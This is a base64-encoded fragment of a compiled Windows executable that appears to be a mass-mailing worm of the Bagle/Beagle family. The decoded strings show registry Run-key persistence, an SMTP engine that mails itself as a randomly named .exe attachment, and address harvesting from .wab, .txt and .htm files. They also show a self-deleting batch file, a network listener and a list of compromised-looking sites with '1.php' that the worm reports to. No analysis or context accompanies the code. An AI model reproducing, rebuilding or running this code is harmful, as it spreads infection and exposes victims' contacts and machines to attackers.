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 6KMCAABqAGoAagJqAGoCaAAAAECNhTf///9Q6MgBAACJhaD+//9AD4SbAAAAi1UMixKNhaT+ //9QaIAAAACNhbf+//9Q/3UM/1IMg72k/v//AHQjagCNhaT+//9Q/7Wk/v//jYW3/v//UP+1 oP7//+gtAgAA67b/taD+///oVAEAAIC9rv7//wN1EWgBWEAAjYU3////UOgMAgAAagCNhTf/ //9Q6PIBAACAva7+//8DdRXouuD//+sOgL2u/v//BHUF6Krg////dQjoCAIAAP81HH9AAOij AQAAM8BbX17JwggAVYvsg8TwVldT/wVYV0AAjUX8UOjE4v//agFqBWoI/3X8/3UI6LDo//// dfzoR+P//2oIjUX0UOjO3v//i1X8ixJqAGoIjUX0UP91/P9SDI119IA+Q3UagH4B/3UUZoN+ Av91Df91/P91COjG/P//6wLrAusI/3UI6HcBAAD/dfzoauL///8NWFdAADPAW19eycIEAGoA 6JUBAADon+b//4M9A1BAAAB1FGjIrwAA6AHh//8FiBMAAKMDUEAAaFxXQABo9jBAAP81A1BA AOiw6v//6Dr8//+DPVRXQAAAdAXo8/r//2joAwAA6LEAAADr9Mz/JaRAQAD/JbhAQAD/JbRA QAD/JbBAQAD/JaxAQAD/JZxAQAD/JaBAQAD/JahAQAD/JSRAQAD/JShAQAD/JSxAQAD/JTBA QAD/JTRAQAD/JThAQAD/JTxAQAD/JUBAQAD/JURAQAD/JUhAQAD/JUxAQAD/JVBAQAD/JVRA QAD/JVhAQAD/JVxAQAD/JWBAQAD/JbxAQAD/JWRAQAD/JWhAQAD/JWxAQAD/JXBAQAD/JXRA QAD/JXhAQAD/JXxAQAD/JYBAQAD/JYRAQAD/JYhAQAD/JYxAQAD/JZBAQAD/JZRAQAD/JZhA QAD/JeRAQAD/JTBBQAD/JShBQAD/JSRBQAD/JSBBQAD/JRxBQAD/JRhBQAD/JRRBQAD/JQxB QAD/JQBBQAD/JQRBQAD/JQhBQAD/JRBBQAD/JSxBQAD/JcRAQAD/JchAQAD/JdxAQAD/JdRA QAD/JdhAQAD/JdBAQAD/JfhAQAD/JfRAQAD/JfBAQAD/JexAQAD/JRRAQAD/JRBAQAD/JQxA QAD/JQhAQAD/JRxAQAD/JQBAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALhHAAAAAAAAdkcAAGJHAABSRwAA REcAAAAAAACWRwAAAAAAALZDAADCQwAA1EMAAORDAAD2QwAACEQAABhEAAAmRAAANkQAAFBE AABmRAAAfEQAAIxEAACeRAAAuEQAANBEAADsRAAA+kQAAAZFAAAWRQAAJkUAAC5FAABGRQAA WEUAAG5FAAB4RQAAhEUAAJBFAACcRQAAqEUAAIhDAACYQwAAOEMAAKhDAAByQwAAZEMAAFhD AABGQwAA3kQAAAAAAAB2RgAAhkYAAAAAAADKRgAAskYAAL5GAACoRgAAAAAAAMJFAAAAAAAA JEcAABRHAAD4RgAA4kYAAAAAAAA8RgAARkYAAE5GAAAwRgAAWEYAACJGAAASRgAACEYAAPpF AADyRQAA6EUAAGBGAADaRQAAAAAAACRCAAAAAAAAAAAAALRFAAAkQAAA5EIAAAAAAAAAAAAA zkUAAORAAAAAQwAAAAAAAAAAAABqRgAAAEEAAMRCAAAAAAAAAAAAAJ5GAADEQAAA0EIAAAAA AAAAAAAA1kYAANBAAADsQgAAAAAAAAAAAAA4RwAA7EAAAAhCAAAAAAAAAAAAAIhHAAAIQAAA HEIAAAAAAAAAAAAAqkcAABxAAAAAQgAAAAAAAAAAAADIRwAAAEAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuEcAAAAAAAB2RwAAYkcAAFJHAABERwAAAAAAAJZHAAAAAAAAtkMAAMJDAADUQwAA 5EMAAPZDAAAIRAAAGEQAACZEAAA2RAAAUEQAAGZEAAB8RAAAjEQAAJ5EAAC4RAAA0EQAAOxE AAD6RAAABkUAABZFAAAmRQAALkUAAEZFAABYRQAAbkUAAHhFAACERQAAkEUAAJxFAACoRQAA iEMAAJhDAAA4QwAAqEMAAHJDAABkQwAAWEMAAEZDAADeRAAAAAAAAHZGAACGRgAAAAAAAMpG AACyRgAAvkYAAKhGAAAAAAAAwkUAAAAAAAAkRwAAFEcAAPhGAADiRgAAAAAAADxGAABGRgAA TkYAADBGAABYRgAAIkYAABJGAAAIRgAA+kUAAPJFAADoRQAAYEYAANpFAAAAAAAAGgBDbG9z ZUhhbmRsZQAdAENvbXBhcmVGaWxlVGltZQAkAENvcHlGaWxlQQAwAENyZWF0ZUZpbGVBADEA Q3JlYXRlRmlsZU1hcHBpbmdBAAA7AENyZWF0ZU11dGV4QQAARgBDcmVhdGVUaHJlYWQAAIAA RXhpdFByb2Nlc3MAjwBGaW5kQ2xvc2UAkwBGaW5kRmlyc3RGaWxlQQAAnABGaW5kTmV4dEZp bGVBAMgAR2V0Q29tbWFuZExpbmVBAN8AR2V0RGF0ZUZvcm1hdEEAAOgAR2V0RHJpdmVUeXBl QQD1AEdldEZpbGVTaXplAP4AR2V0TG9jYWxUaW1lAAABAUdldExvZ2ljYWxEcml2ZVN0cmlu Z3NBAAcBR2V0TW9kdWxlRmlsZU5hbWVBAAA8AUdldFN5c3RlbURpcmVjdG9yeUEAUgFHZXRU aWNrQ291bnQAAFMBR2V0VGltZUZvcm1hdEEAAFUBR2V0VGltZVpvbmVJbmZvcm1hdGlvbgAA YgFHZXRXaW5kb3dzRGlyZWN0b3J5QQAAZwFHbG9iYWxBbGxvYwBuAUdsb2JhbEZyZWUAAKoB TG9jYWxBbGxvYwAArgFMb2NhbEZyZWUAugFNYXBWaWV3T2ZGaWxlAP0BUmVsZWFzZU11dGV4 AABgAlNsZWVwAGUCU3lzdGVtVGltZVRvRmlsZVRpbWUAAHcCVW5tYXBWaWV3T2ZGaWxlAI8C V2FpdEZvclNpbmdsZU9iamVjdACUAldpbkV4ZWMAngJXcml0ZUZpbGUAtQJsc3RyY2F0QQAA uQJsc3RyY21waUEAuwJsc3RyY3B5QQAAvwJsc3RybGVuQQAAa2VybmVsMzIuZGxsAABiAndz cHJpbnRmQQB1c2VyMzIuZGxsAAAhAFdTQVN0YXJ0dXAAACQAYWNjZXB0AAAlAGJpbmQAACYA Y2xvc2Vzb2NrZXQAJwBjb25uZWN0ACoAZ2V0aG9zdGJ5bmFtZQArAGdldGhvc3RuYW1lADYA aW5ldF9hZGRyADoAbGlzdGVuAAA+AHJlY3YAAEMAc2VsZWN0AABEAHNlbmQAAEkAc29ja2V0 AAB3c29jazMyLmRsbAAxAENvSW5pdGlhbGl6ZQAAawBDcmVhdGVTdHJlYW1PbkhHbG9iYWwA b2xlMzIuZGxsANcAU3RyRHVwQQDmAFN0clJDaHJBAADzAFN0clN0cklBAAD6AFN0clRyaW1B AABzaGx3YXBpLmRsbABpAEludGVybmV0Q2xvc2VIYW5kbGUAewBJbnRlcm5ldEdldENvbm5l Y3RlZFN0YXRlAIYASW50ZXJuZXRPcGVuQQCHAEludGVybmV0T3BlblVybEEAAHdpbmluZXQu ZGxsAIABUmVnQ2xvc2VLZXkAgwFSZWdDcmVhdGVLZXlBAKMBUmVnUXVlcnlWYWx1ZUV4QQAA rgFSZWdTZXRWYWx1ZUV4QQAAYWR2YXBpMzIuZGxsAAAqAEdldE5ldHdvcmtQYXJhbXMAAGlw aGxwYXBpLmRsbAAAbgBTaGVsbEV4ZWN1dGVBAFNIRUxMMzIuZGxsAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMTIAeRoAADE1MS4yMDEuMC4zOQAAAAAA AAAAAC53YWIALnR4dAAuaHRtAC5odG1sAAAucjEAQGhvdG1haWwuY29tAEBtc24uY29tAEBt aWNyb3NvZnQAQGF2cC4AACVzP3A9JWx1JmlkPSVzAGh0dHA6Ly93d3cuZWxyYXNzaG9wLmRl LzEucGhwAGh0dHA6Ly93d3cuaXQtbXNjLmRlLzEucGhwAGh0dHA6Ly93d3cuZ2V0eW91cmZy ZWUubmV0LzEucGhwAGh0dHA6Ly93d3cuZG1kZXNpZ24uZGUvMS5waHAAaHR0cDovLzY0LjE3 Ni4yMjguMTMvMS5waHAAaHR0cDovL3d3dy5sZW9uemVybml0c2t5LmNvbS8xLnBocABodHRw Oi8vMjE2Ljk4LjEzNi4yNDgvMS5waHAAaHR0cDovLzIxNi45OC4xMzQuMjQ3LzEucGhwAGh0 dHA6Ly93d3cuY2Ryb21jYS5jb20vMS5waHAAaHR0cDovL3d3dy5rdW5zdC1pbi10ZW1wbGlu LmRlLzEucGhwAGh0dHA6Ly92aXB3ZWIucnUvMS5waHAAaHR0cDovL2FudG9sLWNvLnJ1LzEu cGhwAGh0dHA6Ly93d3cuYmFncy1kb3N0YXZrYS5tYWdzLnJ1LzEucGhwAGh0dHA6Ly93d3cu NXgxMi5ydS8xLnBocABodHRwOi8vYm9zZS1hdWRpby5uZXQvMS5waHAAaHR0cDovL3d3dy5z dHRuZ2RhdGEuZGUvMS5waHAAaHR0cDovL3doOS50dS1kcmVzZGVuLmRlLzEucGhwAGh0dHA6 Ly93d3cubWljcm9udWtlLm5ldC8xLnBocABodHRwOi8vd3d3LnN0YWR0aGFnZW4ub3JnLzEu cGhwAGh0dHA6Ly93d3cuYmVhc3R5LWNhcnMuZGUvMS5waHAAaHR0cDovL3d3dy5wb2xvaGV4 ZS5kZS8xLnBocABodHRwOi8vd3d3LmJpbm84OC5kZS8xLnBocABodHRwOi8vd3d3LmdyZWZy YXRocGFlbnouZGUvMS5waHAAaHR0cDovL3d3dy5iaGFtaWR5LmRlLzEucGhwAGh0dHA6Ly93 d3cubXlzdGljLXZ3cy5kZS8xLnBocABodHRwOi8vd3d3LmF1dG8taG9iYnktZXNzZW4uZGUv MS5waHAAaHR0cDovL3d3dy5wb2xvemlja2UuZGUvMS5waHAAaHR0cDovL3d3dy50d3ItbXVz aWMuZGUvMS5waHAAaHR0cDovL3d3dy5zYy1lcmJlbmRvcmYuZGUvMS5waHAAaHR0cDovL3d3 dy5tb250YW5pYS5kZS8xLnBocABodHRwOi8vd3d3Lm1lZGktbWFydGluLmRlLzEucGhwAGh0 dHA6Ly92dmNnbi5kZS8xLnBocABodHRwOi8vd3d3LmJhbGxvbmZvdG8uY29tLzEucGhwAGh0 dHA6Ly93d3cubWFyZGVyLWdtYmguZGUvMS5waHAAaHR0cDovL3d3dy5kdmQtZmlsbWUuY29t LzEucGhwAGh0dHA6Ly93d3cuc21lYW5nb2wuY29tLzEucGhwAABEYXRlOiAlcw0KVG86ICVz DQpTdWJqZWN0OiBIaQ0KRnJvbTogJXMNCk1lc3NhZ2UtSUQ6IDwlcyVzPg0KTUlNRS1WZXJz aW9uOiAxLjANCkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOw0KICAgICAgICBib3Vu ZGFyeT0iLS0tLS0tLS0lcyINCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiB0ZXh0 L3BsYWluOyBjaGFyc2V0PSJ1cy1hc2NpaSINCkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6 IDdiaXQNCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LW1z ZG93bmxvYWQ7IG5hbWU9IlslJVJBTkQlJV0uZXhlIg0KQ29udGVudC1UcmFuc2Zlci1FbmNv ZGluZzogYmFzZTY0DQpDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFt ZT0iWyUlUkFORCUlXS5leGUiDQoNCgANCg0KLS0tLS0tLS0tLSVzLS0NCg0KLg0KACBUZXN0 ID0pDQpbJVJBTkQlXVslUkFORCVdDQotLQ0KVGVzdCwgeWVwLg0KOmwNCmRlbCAlMQ0KaWYg ZXhpc3QgJTEgZ290byBsDQpkZWwgJTAAYS5iYXQAb3BlbgBxAgAAzQ0BAAAAAAAAAAAAAAAA AAAAAAAAAAAAY2FsYy5leGUAb3BlbgBTT0ZUV0FSRVxXaW5kb3dzOTgAdWlkAFNPRlRXQVJF XE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1bgBkM2R1cGRhdGUuZXhlAFxi YmVhZ2xlLmV4ZQBmcnVuAAAAAAAAAAAAAAAAAAAsACAsDQoAPAA+AENDOiAAQkNDOgBUbzog AEhFTE8gJXMNCgBSU0VUDQoATUFJTCBGUk9NOjwlcz4NCgBSQ1BUIFRPOjwlcz4NCgBEQVRB DQoAWyVSQU5EJV0AZGRkJywnIGRkIE1NTSB5eXl5IABISDptbTpzcyAAJTAzaSUwMmkADQpc ACouKgBiZWFnbGVfYmVhZ2xlAFxic3VwbGQAIC11cGQALmV4ZQAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 